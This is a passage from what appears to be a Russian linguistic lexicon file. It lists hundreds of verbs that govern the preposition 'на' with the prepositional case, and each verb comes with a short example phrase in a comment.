большой глубине rus_verbs:распространять{}, // распространять на сайтах rus_verbs:пировать{}, // пировать на вершине холма rus_verbs:начертать{}, // начертать на стене rus_verbs:расцветать{}, // расцветать на подоконнике rus_verbs:умнеть{}, // умнеть на глазах rus_verbs:царствовать{}, // царствовать на окраине rus_verbs:закрутиться{}, // закрутиться на работе rus_verbs:отработать{}, // отработать на шахте rus_verbs:полечь{}, // полечь на поле брани rus_verbs:щебетать{}, // щебетать на ветке rus_verbs:подчеркиваться{}, // подчеркиваться на сайте rus_verbs:посеять{}, // посеять на другом поле rus_verbs:замечаться{}, // замечаться на пастбище rus_verbs:просчитать{}, // просчитать на пальцах rus_verbs:голосовать{}, // голосовать на трассе rus_verbs:маяться{}, // маяться на пляже rus_verbs:сколотить{}, // сколотить на службе rus_verbs:обретаться{}, // обретаться на чужбине rus_verbs:обливаться{}, // обливаться на улице rus_verbs:катать{}, // катать на лошадке rus_verbs:припрятать{}, // припрятать на теле rus_verbs:запаниковать{}, // запаниковать на экзамене инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать на частном самолете деепричастие:слетав{}, rus_verbs:срубить{}, // срубить денег на спекуляциях rus_verbs:зажигаться{}, // зажигаться на улице rus_verbs:жарить{}, // жарить на углях rus_verbs:накапливаться{}, // накапливаться на счету rus_verbs:распуститься{}, // распуститься на грядке rus_verbs:рассаживаться{}, // рассаживаться на местах rus_verbs:странствовать{}, // странствовать на лошади rus_verbs:осматриваться{}, // осматриваться на месте rus_verbs:разворачивать{}, // разворачивать на завоеванной территории rus_verbs:согревать{}, // согревать на вершине горы rus_verbs:заскучать{}, // заскучать на вахте rus_verbs:перекусить{}, // перекусить на бегу rus_verbs:приплыть{}, // приплыть на тримаране rus_verbs:зажигать{}, // зажигать на танцах rus_verbs:закопать{}, // закопать на поляне rus_verbs:стирать{}, // стирать на берегу rus_verbs:подстерегать{}, // подстерегать на подходе rus_verbs:погулять{}, // погулять на свадьбе rus_verbs:огласить{}, // огласить на митинге rus_verbs:разбогатеть{}, // разбогатеть на прииске rus_verbs:грохотать{}, // грохотать на чердаке rus_verbs:расположить{}, // расположить на границе rus_verbs:реализоваться{}, // реализоваться на новой работе rus_verbs:застывать{}, // застывать на морозе rus_verbs:запечатлеть{}, // запечатлеть на пленке rus_verbs:тренироваться{}, // тренироваться на манекене rus_verbs:поспорить{}, // поспорить на совещании rus_verbs:затягивать{}, // затягивать на поясе rus_verbs:зиждиться{}, // зиждиться на твердой основе rus_verbs:построиться{}, // построиться на песке rus_verbs:надрываться{}, // надрываться на работе rus_verbs:закипать{}, // закипать на плите rus_verbs:затонуть{}, // затонуть на мелководье rus_verbs:побыть{}, // побыть на фазенде rus_verbs:сгорать{}, // сгорать на солнце инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на улице деепричастие:пописав{ aux stress="поп^исав" }, rus_verbs:подраться{}, // подраться на сцене rus_verbs:заправить{}, // заправить на последней заправке rus_verbs:обозначаться{}, // обозначаться на карте rus_verbs:просиживать{}, // просиживать на берегу rus_verbs:начертить{}, // начертить на листке rus_verbs:тормозить{}, // тормозить на льду rus_verbs:затевать{}, // затевать на космической базе rus_verbs:задерживать{}, // задерживать на таможне rus_verbs:прилетать{}, // прилетать на частном самолете rus_verbs:полулежать{}, // полулежать на травке rus_verbs:ерзать{}, // ерзать на табуретке rus_verbs:покопаться{}, // покопаться на складе rus_verbs:подвезти{}, // подвезти на машине rus_verbs:полежать{}, // полежать на водном матрасе rus_verbs:стыть{}, // стыть на улице rus_verbs:стынуть{}, // стынуть на улице rus_verbs:скреститься{}, // скреститься на груди rus_verbs:припарковать{}, // припарковать на стоянке rus_verbs:здороваться{}, // здороваться на кафедре rus_verbs:нацарапать{}, // нацарапать на парте rus_verbs:откопать{}, // откопать на поляне rus_verbs:смастерить{}, // смастерить на коленках rus_verbs:довезти{}, // довезти на машине rus_verbs:избивать{}, // избивать на крыше rus_verbs:сварить{}, // сварить на костре rus_verbs:истребить{}, // истребить на корню rus_verbs:раскопать{}, // раскопать на болоте rus_verbs:попить{}, // попить на кухне rus_verbs:заправлять{}, // заправлять на базе rus_verbs:кушать{}, // кушать на кухне rus_verbs:замолкать{}, // замолкать на половине фразы rus_verbs:измеряться{}, // измеряться на весах rus_verbs:сбываться{}, // сбываться на самом деле rus_verbs:изображаться{}, // изображается на сцене rus_verbs:фиксировать{}, // фиксировать на данной высоте rus_verbs:ослаблять{}, // ослаблять на шее rus_verbs:зреть{}, // зреть на грядке rus_verbs:зеленеть{}, // зеленеть на грядке rus_verbs:критиковать{}, // критиковать на страницах газеты rus_verbs:облететь{}, // облететь на самолете rus_verbs:заразиться{}, // заразиться на работе rus_verbs:рассеять{}, // рассеять на территории rus_verbs:печься{}, // печься на костре rus_verbs:поспать{}, // поспать на земле rus_verbs:сплетаться{}, // сплетаться на макушке rus_verbs:удерживаться{}, // удерживаться на расстоянии rus_verbs:помешаться{}, // помешаться на чистоте rus_verbs:ликвидировать{}, // ликвидировать на полигоне rus_verbs:проваляться{}, // проваляться на диване rus_verbs:лечиться{}, // лечиться на дому rus_verbs:обработать{}, // обработать на станке rus_verbs:защелкнуть{}, // защелкнуть на руках rus_verbs:разносить{}, // разносить на одежде rus_verbs:чесать{}, // чесать на груди rus_verbs:наладить{}, // наладить на конвейере выпуск rus_verbs:отряхнуться{}, // отряхнуться на улице rus_verbs:разыгрываться{}, // разыгрываться на скачках rus_verbs:обеспечиваться{}, // обеспечиваться на выгодных условиях rus_verbs:греться{}, // греться на вокзале rus_verbs:засидеться{}, // засидеться на одном месте rus_verbs:материализоваться{}, // материализоваться на границе rus_verbs:рассеиваться{}, // рассеиваться на высоте вершин rus_verbs:перевозить{}, // перевозить на платформе rus_verbs:поиграть{}, // поиграть на скрипке rus_verbs:потоптаться{}, // потоптаться на одном месте rus_verbs:переправиться{}, // переправиться на плоту rus_verbs:забрезжить{}, // забрезжить на горизонте rus_verbs:завывать{}, // завывать на опушке rus_verbs:заваривать{}, // заваривать на кухоньке rus_verbs:перемещаться{}, // перемещаться на спасательном плоту инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться на бланке rus_verbs:праздновать{}, // праздновать на улицах rus_verbs:обучить{}, // обучить на корте rus_verbs:орудовать{}, // орудовать на складе rus_verbs:подрасти{}, // подрасти на глядке rus_verbs:шелестеть{}, // шелестеть на ветру rus_verbs:раздеваться{}, // раздеваться на публике rus_verbs:пообедать{}, // пообедать на газоне rus_verbs:жрать{}, // жрать на помойке rus_verbs:исполняться{}, // исполняться на флейте rus_verbs:похолодать{}, // похолодать на улице rus_verbs:гнить{}, // гнить на каторге rus_verbs:прослушать{}, // прослушать на концерте rus_verbs:совещаться{}, // совещаться на заседании rus_verbs:покачивать{}, // покачивать на волнах rus_verbs:отсидеть{}, // отсидеть на гаупвахте rus_verbs:формировать{}, // формировать на секретной базе rus_verbs:захрапеть{}, // захрапеть на кровати rus_verbs:объехать{}, // объехать на попутке rus_verbs:поселить{}, // поселить на верхних этажах rus_verbs:заворочаться{}, // заворочаться на сене rus_verbs:напрятать{}, // напрятать на теле rus_verbs:очухаться{}, // очухаться на земле rus_verbs:полистать{}, // полистать на досуге rus_verbs:завертеть{}, // завертеть на шесте rus_verbs:печатать{}, // печатать на ноуте rus_verbs:отыскаться{}, // отыскаться на складе rus_verbs:зафиксировать{}, // зафиксировать на пленке rus_verbs:расстилаться{}, // расстилаться на столе rus_verbs:заместить{}, // заместить на посту rus_verbs:угасать{}, // угасать на неуправляемом корабле rus_verbs:сразить{}, // сразить на ринге rus_verbs:расплываться{}, // расплываться на жаре rus_verbs:сосчитать{}, // сосчитать на пальцах rus_verbs:сгуститься{}, // сгуститься на небольшой высоте rus_verbs:цитировать{}, // цитировать на плите rus_verbs:ориентироваться{}, // ориентироваться на местности rus_verbs:расширить{}, // расширить на другом конце rus_verbs:обтереть{}, // обтереть на стоянке rus_verbs:подстрелить{}, // подстрелить на охоте rus_verbs:растереть{}, // растереть на твердой поверхности rus_verbs:подавлять{}, // подавлять на первом этапе rus_verbs:смешиваться{}, // смешиваться на поверхности // инфинитив:вычитать{ aux stress="в^ычитать" }, глагол:вычитать{ aux stress="в^ычитать" }, // вычитать на сайте // деепричастие:вычитав{}, rus_verbs:сократиться{}, // сократиться на втором этапе rus_verbs:занервничать{}, // занервничать на экзамене rus_verbs:соприкоснуться{}, // соприкоснуться на трассе rus_verbs:обозначить{}, // обозначить на плане rus_verbs:обучаться{}, // обучаться на производстве rus_verbs:снизиться{}, // снизиться на большой высоте rus_verbs:простудиться{}, // простудиться на ветру rus_verbs:поддерживаться{}, // поддерживается на встрече rus_verbs:уплыть{}, // уплыть на лодочке rus_verbs:резвиться{}, // резвиться на песочке rus_verbs:поерзать{}, // поерзать на скамеечке rus_verbs:похвастаться{}, // похвастаться на встрече rus_verbs:знакомиться{}, // знакомиться на уроке rus_verbs:проплывать{}, // проплывать на катере rus_verbs:засесть{}, // засесть на чердаке rus_verbs:подцепить{}, // подцепить на дискотеке rus_verbs:обыскать{}, // обыскать на входе rus_verbs:оправдаться{}, // оправдаться на суде rus_verbs:раскрываться{}, // раскрываться на сцене rus_verbs:одеваться{}, // одеваться на вещевом рынке rus_verbs:засветиться{}, // засветиться на фотографиях rus_verbs:употребляться{}, // употребляться на птицефабриках rus_verbs:грабить{}, // грабить на пустыре rus_verbs:гонять{}, // гонять на повышенных оборотах rus_verbs:развеваться{}, // развеваться на древке rus_verbs:основываться{}, // основываться на безусловных фактах rus_verbs:допрашивать{}, // допрашивать на базе rus_verbs:проработать{}, // проработать на стройке rus_verbs:сосредоточить{}, // сосредоточить на месте rus_verbs:сочинять{}, // сочинять на ходу rus_verbs:ползать{}, // ползать на камне rus_verbs:раскинуться{}, // раскинуться на пустыре rus_verbs:уставать{}, // уставать на работе rus_verbs:укрепить{}, // укрепить на конце rus_verbs:образовывать{}, // образовывать на открытом воздухе взрывоопасную смесь rus_verbs:одобрять{}, // одобрять на словах rus_verbs:приговорить{}, // приговорить на заседании тройки rus_verbs:чернеть{}, // чернеть на свету rus_verbs:гнуть{}, // гнуть на станке rus_verbs:размещаться{}, // размещаться на бирже rus_verbs:соорудить{}, // соорудить на даче rus_verbs:пастись{}, // пастись на лугу rus_verbs:формироваться{}, // формироваться на дне rus_verbs:таить{}, // таить на дне rus_verbs:приостановиться{}, // приостановиться на середине rus_verbs:топтаться{}, // топтаться на месте rus_verbs:громить{}, // громить на подступах rus_verbs:вычислить{}, // вычислить на бумажке rus_verbs:заказывать{}, // заказывать на сайте rus_verbs:осуществить{}, // осуществить на практике rus_verbs:обосноваться{}, // обосноваться на верхушке rus_verbs:пытать{}, // пытать на электрическом стуле rus_verbs:совершиться{}, // совершиться на заседании rus_verbs:свернуться{}, // свернуться на медленном огне rus_verbs:пролетать{}, // пролетать на дельтаплане rus_verbs:сбыться{}, // сбыться на самом деле rus_verbs:разговориться{}, // разговориться на уроке rus_verbs:разворачиваться{}, // разворачиваться на перекрестке rus_verbs:преподнести{}, // преподнести на блюдечке rus_verbs:напечатать{}, // напечатать на лазернике rus_verbs:прорвать{}, // прорвать на периферии rus_verbs:раскачиваться{}, // раскачиваться на доске rus_verbs:задерживаться{}, // задерживаться на старте rus_verbs:угощать{}, // угощать на вечеринке rus_verbs:шарить{}, // шарить на столе rus_verbs:увеличивать{}, // увеличивать на первом этапе rus_verbs:рехнуться{}, // рехнуться на старости лет rus_verbs:расцвести{}, // расцвести на грядке rus_verbs:закипеть{}, // закипеть на плите rus_verbs:подлететь{}, // подлететь на параплане rus_verbs:рыться{}, // рыться на свалке rus_verbs:добираться{}, // добираться на попутках rus_verbs:продержаться{}, // продержаться на вершине rus_verbs:разыскивать{}, // разыскивать на выставках rus_verbs:освобождать{}, // освобождать на заседании rus_verbs:передвигаться{}, // передвигаться на самокате rus_verbs:проявиться{}, // проявиться на свету rus_verbs:заскользить{}, // заскользить на льду rus_verbs:пересказать{}, // пересказать на сцене студенческого театра rus_verbs:протестовать{}, // протестовать на улице rus_verbs:указываться{}, // указываться на табличках rus_verbs:прискакать{}, // прискакать на лошадке rus_verbs:копошиться{}, // копошиться на свежем воздухе rus_verbs:подсчитать{}, // подсчитать на бумажке rus_verbs:разволноваться{}, // разволноваться на экзамене rus_verbs:завертеться{}, // завертеться на полу rus_verbs:ознакомиться{}, // ознакомиться на ходу rus_verbs:ржать{}, // ржать на уроке rus_verbs:раскинуть{}, // раскинуть на грядках rus_verbs:разгромить{}, // разгромить на ринге rus_verbs:подслушать{}, // подслушать на совещании rus_verbs:описываться{}, // описываться на страницах книги rus_verbs:качаться{}, // качаться на стуле rus_verbs:усилить{}, // усилить на флангах rus_verbs:набросать{}, // набросать на клочке картона rus_verbs:расстреливать{}, // расстреливать на подходе rus_verbs:запрыгать{}, // запрыгать на одной ноге rus_verbs:сыскать{}, // сыскать на чужбине rus_verbs:подтвердиться{}, // подтвердиться на практике rus_verbs:плескаться{}, // плескаться на мелководье rus_verbs:расширяться{}, // расширяться на конце rus_verbs:подержать{}, // подержать на солнце rus_verbs:планироваться{}, // планироваться на общем собрании rus_verbs:сгинуть{}, // сгинуть на чужбине rus_verbs:замкнуться{}, // замкнуться на точке rus_verbs:закачаться{}, // закачаться на ветру rus_verbs:перечитывать{}, // перечитывать на ходу rus_verbs:перелететь{}, // перелететь на дельтаплане rus_verbs:оживать{}, // оживать на солнце rus_verbs:женить{}, // женить на богатой невесте rus_verbs:заглохнуть{}, // заглохнуть на старте rus_verbs:копаться{}, // копаться на полу rus_verbs:развлекаться{}, // развлекаться на дискотеке rus_verbs:печататься{}, // печататься на струйном принтере rus_verbs:обрываться{}, // обрываться на полуслове rus_verbs:ускакать{}, // ускакать на лошадке rus_verbs:подписывать{}, // подписывать на столе rus_verbs:добывать{}, // добывать на выработке rus_verbs:скопиться{}, // скопиться на выходе rus_verbs:повстречать{}, // повстречать на пути rus_verbs:поцеловаться{}, // поцеловаться на площади rus_verbs:растянуть{}, // растянуть на столе rus_verbs:подаваться{}, // подаваться на благотворительном обеде rus_verbs:повстречаться{}, // повстречаться на митинге rus_verbs:примоститься{}, // примоститься на ступеньках rus_verbs:отразить{}, // отразить на страницах доклада rus_verbs:пояснять{}, // пояснять на страницах приложения rus_verbs:накормить{}, // накормить на кухне rus_verbs:поужинать{}, // поужинать на веранде инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть на митинге деепричастие:спев{}, инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш }, rus_verbs:топить{}, // топить на мелководье rus_verbs:освоить{}, // освоить на практике rus_verbs:распластаться{}, // распластаться на травке rus_verbs:отплыть{}, // отплыть на старом каяке rus_verbs:улетать{}, // улетать на любом самолете rus_verbs:отстаивать{}, // отстаивать на корте rus_verbs:осуждать{}, // осуждать на словах rus_verbs:переговорить{}, // переговорить на обеде rus_verbs:укрыть{}, // укрыть на чердаке rus_verbs:томиться{}, // томиться на привязи rus_verbs:сжигать{}, // сжигать на полигоне rus_verbs:позавтракать{}, // позавтракать на лоне природы rus_verbs:функционировать{}, // функционирует на солнечной энергии rus_verbs:разместить{}, // разместить на сайте rus_verbs:пронести{}, // пронести на теле rus_verbs:нашарить{}, // нашарить на столе rus_verbs:корчиться{}, // корчиться на полу rus_verbs:распознать{}, // распознать на снимке rus_verbs:повеситься{}, // повеситься на шнуре rus_verbs:обозначиться{}, // обозначиться на картах rus_verbs:оступиться{}, // оступиться на скользком льду rus_verbs:подносить{}, // подносить на блюдечке rus_verbs:расстелить{}, // расстелить на газоне rus_verbs:обсуждаться{}, // обсуждаться на собрании rus_verbs:расписаться{}, // расписаться на бланке rus_verbs:плестись{}, // плестись на привязи rus_verbs:объявиться{}, // объявиться на сцене rus_verbs:повышаться{}, // повышаться на первом датчике rus_verbs:разрабатывать{}, // разрабатывать на заводе rus_verbs:прерывать{}, // прерывать на середине rus_verbs:каяться{}, // каяться на публике rus_verbs:освоиться{}, // освоиться на лошади rus_verbs:подплыть{}, // подплыть на плоту rus_verbs:оскорбить{}, // оскорбить на митинге rus_verbs:торжествовать{}, // торжествовать на пьедестале rus_verbs:поправлять{}, // поправлять на одежде rus_verbs:отражать{}, // отражать на картине rus_verbs:дремать{}, // дремать на кушетке rus_verbs:применяться{}, // применяться на производстве стали rus_verbs:поражать{}, // поражать на большой дистанции rus_verbs:расстрелять{}, // расстрелять на окраине хутора rus_verbs:рассчитать{}, // рассчитать на калькуляторе rus_verbs:записывать{}, // записывать на ленте rus_verbs:перебирать{}, // перебирать на ладони rus_verbs:разбиться{}, // разбиться на катере rus_verbs:поискать{}, // поискать на ферме rus_verbs:прятать{}, // прятать на заброшенном складе rus_verbs:пропеть{}, // пропеть на эстраде rus_verbs:замелькать{}, // замелькать на экране rus_verbs:грустить{}, // грустить на веранде rus_verbs:крутить{}, // крутить на оси rus_verbs:подготовить{}, // подготовить на конспиративной квартире rus_verbs:различать{}, // различать на картинке rus_verbs:киснуть{}, // киснуть на чужбине rus_verbs:оборваться{}, // оборваться на полуслове rus_verbs:запутаться{}, // запутаться на простейшем тесте rus_verbs:общаться{}, // общаться на уроке rus_verbs:производиться{}, // производиться на фабрике rus_verbs:сочинить{}, // сочинить на досуге rus_verbs:давить{}, // давить на лице rus_verbs:разработать{}, // разработать на секретном предприятии rus_verbs:качать{}, // качать на качелях rus_verbs:тушить{}, // тушить на крыше пожар rus_verbs:охранять{}, // охранять на территории базы rus_verbs:приметить{}, // приметить на взгорке rus_verbs:скрыть{}, // скрыть на теле rus_verbs:удерживать{}, // удерживать на руке rus_verbs:усвоить{}, // усвоить на уроке rus_verbs:растаять{}, // растаять на солнечной стороне rus_verbs:красоваться{}, // красоваться на виду rus_verbs:сохраняться{}, // сохраняться на холоде rus_verbs:лечить{}, // лечить на дому rus_verbs:прокатиться{}, // прокатиться на уницикле rus_verbs:договариваться{}, // договариваться на нейтральной территории rus_verbs:качнуться{}, // качнуться на одной ноге rus_verbs:опубликовать{}, // опубликовать на сайте rus_verbs:отражаться{}, // отражаться на поверхности воды rus_verbs:обедать{}, // обедать на веранде rus_verbs:посидеть{}, // посидеть на лавочке rus_verbs:сообщаться{}, // сообщаться на официальном сайте rus_verbs:свершиться{}, // свершиться на заседании rus_verbs:ночевать{}, // ночевать на даче rus_verbs:темнеть{}, // темнеть на свету rus_verbs:гибнуть{}, // гибнуть на территории полигона rus_verbs:усиливаться{}, // усиливаться на территории округа rus_verbs:проживать{}, // проживать на даче rus_verbs:исследовать{}, // исследовать на большой глубине rus_verbs:обитать{}, // обитать на громадной глубине rus_verbs:сталкиваться{}, // сталкиваться на большой высоте rus_verbs:таиться{}, // таиться на большой глубине rus_verbs:спасать{}, // спасать на пожаре rus_verbs:сказываться{}, // сказываться на общем результате rus_verbs:заблудиться{}, // заблудиться на стройке rus_verbs:пошарить{}, // пошарить на полках rus_verbs:планировать{}, // планировать на бумаге rus_verbs:ранить{}, // ранить на полигоне rus_verbs:хлопать{}, // хлопать на сцене rus_verbs:основать{}, // основать на горе новый монастырь rus_verbs:отбить{}, // отбить на столе rus_verbs:отрицать{}, // отрицать на заседании комиссии rus_verbs:устоять{}, // устоять на ногах rus_verbs:отзываться{}, // отзываться на страницах отчёта rus_verbs:притормозить{}, // притормозить на обочине rus_verbs:читаться{}, // читаться на лице rus_verbs:заиграть{}, // заиграть на саксофоне rus_verbs:зависнуть{}, // зависнуть на игровой площадке rus_verbs:сознаться{}, // сознаться на допросе rus_verbs:выясняться{}, // выясняться на очной ставке rus_verbs:наводить{}, // наводить на столе порядок rus_verbs:покоиться{}, // покоиться на кладбище rus_verbs:значиться{}, // значиться на бейджике rus_verbs:съехать{}, // съехать на санках rus_verbs:познакомить{}, // познакомить на свадьбе rus_verbs:завязать{}, // завязать на спине rus_verbs:грохнуть{}, // грохнуть на площади rus_verbs:разъехаться{}, // разъехаться на узкой дороге rus_verbs:столпиться{}, // столпиться на крыльце rus_verbs:порыться{}, // порыться на полках rus_verbs:ослабить{}, // ослабить на шее rus_verbs:оправдывать{}, // оправдывать на суде rus_verbs:обнаруживаться{}, // обнаруживаться на складе rus_verbs:спастись{}, // спастись на дереве rus_verbs:прерваться{}, // прерваться на полуслове rus_verbs:строиться{}, // строиться на пустыре rus_verbs:познать{}, // познать на практике rus_verbs:путешествовать{}, // путешествовать на поезде rus_verbs:побеждать{}, // побеждать на ринге rus_verbs:рассматриваться{}, // рассматриваться на заседании rus_verbs:продаваться{}, // продаваться на открытом рынке rus_verbs:разместиться{}, // разместиться на базе rus_verbs:завыть{}, // завыть на холме rus_verbs:настигнуть{}, // настигнуть на окраине rus_verbs:укрыться{}, // укрыться на чердаке rus_verbs:расплакаться{}, // расплакаться на заседании комиссии rus_verbs:заканчивать{}, // заканчивать на последнем задании rus_verbs:пролежать{}, // пролежать на столе rus_verbs:громоздиться{}, // громоздиться на полу rus_verbs:замерзнуть{}, // замерзнуть на открытом воздухе rus_verbs:поскользнуться{}, // поскользнуться на льду rus_verbs:таскать{}, // таскать на спине rus_verbs:просматривать{}, // просматривать на сайте rus_verbs:обдумать{}, // обдумать на досуге rus_verbs:гадать{}, // гадать на кофейной гуще rus_verbs:останавливать{}, // останавливать на выходе rus_verbs:обозначать{}, // обозначать на странице rus_verbs:долететь{}, // долететь на спортивном байке rus_verbs:тесниться{}, // тесниться на чердачке rus_verbs:хоронить{}, // хоронить на частном кладбище rus_verbs:установиться{}, // установиться на юге rus_verbs:прикидывать{}, // прикидывать на клочке бумаги rus_verbs:затаиться{}, // затаиться на дереве rus_verbs:раздобыть{}, // раздобыть на складе rus_verbs:перебросить{}, // перебросить на вертолетах rus_verbs:захватывать{}, // захватывать на базе rus_verbs:сказаться{}, // сказаться на итоговых оценках rus_verbs:покачиваться{}, // покачиваться на волнах rus_verbs:крутиться{}, // крутиться на кухне rus_verbs:помещаться{}, // помещаться на полке rus_verbs:питаться{}, // питаться на помойке rus_verbs:отдохнуть{}, // отдохнуть на загородной вилле rus_verbs:кататься{}, // кататься на велике rus_verbs:поработать{}, // поработать на стройке rus_verbs:ограбить{}, // ограбить на пустыре rus_verbs:зарабатывать{}, // зарабатывать на бирже rus_verbs:преуспеть{}, // преуспеть на ниве искусства rus_verbs:заерзать{}, // заерзать на стуле rus_verbs:разъяснить{}, // разъяснить на полях rus_verbs:отчеканить{}, // отчеканить на медной пластине rus_verbs:торговать{}, // торговать на рынке rus_verbs:поколебаться{}, // поколебаться на пороге rus_verbs:прикинуть{}, // прикинуть на бумажке rus_verbs:рассечь{}, // рассечь на тупом конце rus_verbs:посмеяться{}, // посмеяться на переменке rus_verbs:остыть{}, // остыть на морозном воздухе rus_verbs:запереться{}, // запереться на чердаке rus_verbs:обогнать{}, // обогнать на повороте rus_verbs:подтянуться{}, // подтянуться на турнике rus_verbs:привозить{}, // привозить на машине rus_verbs:подбирать{}, // подбирать на полу rus_verbs:уничтожать{}, // уничтожать на подходе rus_verbs:притаиться{}, // притаиться на вершине rus_verbs:плясать{}, // плясать на костях rus_verbs:поджидать{}, // поджидать на вокзале rus_verbs:закончить{}, // Мы закончили игру на самом интересном месте (САМ не может быть первым прилагательным в цепочке!) rus_verbs:смениться{}, // смениться на посту rus_verbs:посчитать{}, // посчитать на пальцах rus_verbs:прицелиться{}, // прицелиться на бегу rus_verbs:нарисовать{}, // нарисовать на стене rus_verbs:прыгать{}, // прыгать на сцене rus_verbs:повертеть{}, // повертеть на пальце rus_verbs:попрощаться{}, // попрощаться на панихиде инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на диване rus_verbs:разобрать{}, // разобрать на столе rus_verbs:помереть{}, // помереть на чужбине rus_verbs:различить{}, // различить на нечеткой фотографии rus_verbs:рисовать{}, // рисовать на доске rus_verbs:проследить{}, // проследить на экране rus_verbs:задремать{}, // задремать на диване rus_verbs:ругаться{}, // ругаться на людях rus_verbs:сгореть{}, // сгореть на работе rus_verbs:зазвучать{}, // зазвучать на коротких волнах rus_verbs:задохнуться{}, // задохнуться на вершине горы rus_verbs:порождать{}, // порождать на поверхности небольшую рябь rus_verbs:отдыхать{}, // отдыхать на курорте rus_verbs:образовать{}, // образовать на дне толстый слой rus_verbs:поправиться{}, // поправиться на дармовых харчах rus_verbs:отмечать{}, // отмечать на календаре rus_verbs:реять{}, // реять на флагштоке rus_verbs:ползти{}, // ползти на коленях rus_verbs:продавать{}, // продавать на аукционе rus_verbs:сосредоточиться{}, // сосредоточиться на основной задаче rus_verbs:рыскать{}, // мышки рыскали на кухне rus_verbs:расстегнуть{}, // расстегнуть на куртке все пуговицы rus_verbs:напасть{}, // напасть на территории другого государства rus_verbs:издать{}, // издать на западе rus_verbs:оставаться{}, // оставаться на страже порядка rus_verbs:появиться{}, // наконец появиться на экране rus_verbs:лежать{}, // лежать на столе rus_verbs:ждать{}, // ждать на берегу инфинитив:писать{aux stress="пис^ать"}, // писать на бумаге глагол:писать{aux stress="пис^ать"}, rus_verbs:оказываться{}, // оказываться на полу rus_verbs:поставить{}, // поставить на столе rus_verbs:держать{}, // держать на крючке rus_verbs:выходить{}, // выходить на остановке rus_verbs:заговорить{}, // заговорить на китайском языке rus_verbs:ожидать{}, // ожидать на стоянке rus_verbs:закричать{}, // закричал на минарете муэдзин rus_verbs:простоять{}, // простоять на посту rus_verbs:продолжить{}, // продолжить на первом этаже rus_verbs:ощутить{}, // ощутить на себе влияние кризиса rus_verbs:состоять{}, // состоять на учете rus_verbs:готовиться{}, инфинитив:акклиматизироваться{вид:несоверш}, // альпинисты готовятся акклиматизироваться на новой высоте глагол:акклиматизироваться{вид:несоверш}, rus_verbs:арестовать{}, // грабители были арестованы на месте преступления rus_verbs:схватить{}, // грабители были схвачены на месте преступления инфинитив:атаковать{ вид:соверш }, // взвод был атакован на границе глагол:атаковать{ вид:соверш }, прилагательное:атакованный{ вид:соверш }, прилагательное:атаковавший{ вид:соверш }, rus_verbs:базировать{}, // установка будет базирована на границе rus_verbs:базироваться{}, // установка базируется на границе rus_verbs:барахтаться{}, // дети барахтались на мелководье rus_verbs:браконьерить{}, // Охотники браконьерили ночью на реке rus_verbs:браконьерствовать{}, // Охотники ночью браконьерствовали на реке rus_verbs:бренчать{}, // парень что-то бренчал на гитаре rus_verbs:бренькать{}, // парень что-то бренькает на гитаре rus_verbs:начать{}, // Рынок акций РФ начал торги на отрицательной территории. rus_verbs:буксовать{}, // Колеса буксуют на льду rus_verbs:вертеться{}, // Непоседливый ученик много вертится на стуле rus_verbs:взвести{}, // Боец взвел на оружии предохранитель rus_verbs:вилять{}, // Машина сильно виляла на дороге rus_verbs:висеть{}, // Яблоко висит на ветке rus_verbs:возлежать{}, // возлежать на лежанке rus_verbs:подниматься{}, // Мы поднимаемся на лифте rus_verbs:подняться{}, // Мы поднимемся на лифте rus_verbs:восседать{}, // Коля восседает на лошади rus_verbs:воссиять{}, // Луна воссияла на небе rus_verbs:воцариться{}, // Мир воцарился на всей земле rus_verbs:воцаряться{}, // Мир воцаряется на всей земле rus_verbs:вращать{}, // вращать на поясе rus_verbs:вращаться{}, // вращаться на поясе rus_verbs:встретить{}, // встретить друга на улице rus_verbs:встретиться{}, // встретиться на занятиях rus_verbs:встречать{}, // встречать на занятиях rus_verbs:въебывать{}, // въебывать на работе rus_verbs:въезжать{}, // въезжать на автомобиле rus_verbs:въехать{}, // въехать на автомобиле rus_verbs:выгорать{}, // ткань выгорает на солнце rus_verbs:выгореть{}, // ткань выгорела на солнце rus_verbs:выгравировать{}, // выгравировать на табличке надпись rus_verbs:выжить{}, // выжить на необитаемом острове rus_verbs:вылежаться{}, // помидоры вылежались на солнце rus_verbs:вылеживаться{}, // вылеживаться на солнце rus_verbs:выместить{}, // выместить на ком-то злобу rus_verbs:вымещать{}, // вымещать на ком-то свое раздражение rus_verbs:вымещаться{}, // вымещаться на ком-то rus_verbs:выращивать{}, // выращивать на грядке помидоры rus_verbs:выращиваться{}, // выращиваться на грядке инфинитив:вырезать{вид:соверш}, // вырезать на доске надпись глагол:вырезать{вид:соверш}, инфинитив:вырезать{вид:несоверш}, глагол:вырезать{вид:несоверш}, rus_verbs:вырисоваться{}, // вырисоваться на графике rus_verbs:вырисовываться{}, // вырисовываться на графике rus_verbs:высаживать{}, // высаживать на необитаемом острове rus_verbs:высаживаться{}, // высаживаться на острове rus_verbs:высвечивать{}, // высвечивать на дисплее температуру rus_verbs:высвечиваться{}, // высвечиваться на дисплее rus_verbs:выстроить{}, // выстроить на фундаменте rus_verbs:выстроиться{}, // выстроиться на плацу rus_verbs:выстудить{}, // выстудить на морозе rus_verbs:выстудиться{}, // выстудиться на морозе rus_verbs:выстужать{}, // выстужать на морозе rus_verbs:выстуживать{}, // выстуживать на морозе rus_verbs:выстуживаться{}, // выстуживаться на морозе rus_verbs:выстукать{}, // выстукать на клавиатуре rus_verbs:выстукивать{}, // выстукивать на клавиатуре rus_verbs:выстукиваться{}, // выстукиваться на клавиатуре rus_verbs:выступать{}, // выступать на сцене rus_verbs:выступить{}, // выступить на сцене rus_verbs:выстучать{}, // выстучать на клавиатуре rus_verbs:выстывать{}, // выстывать на морозе rus_verbs:выстыть{}, // выстыть на морозе rus_verbs:вытатуировать{}, // вытатуировать на руке якорь rus_verbs:говорить{}, // говорить на повышенных тонах rus_verbs:заметить{}, // заметить на берегу rus_verbs:стоять{}, // твёрдо стоять на ногах rus_verbs:оказаться{}, // оказаться на передовой линии rus_verbs:почувствовать{}, // почувствовать на своей шкуре rus_verbs:остановиться{}, // остановиться на первом пункте rus_verbs:показаться{}, // показаться на горизонте rus_verbs:чувствовать{}, // чувствовать на своей шкуре 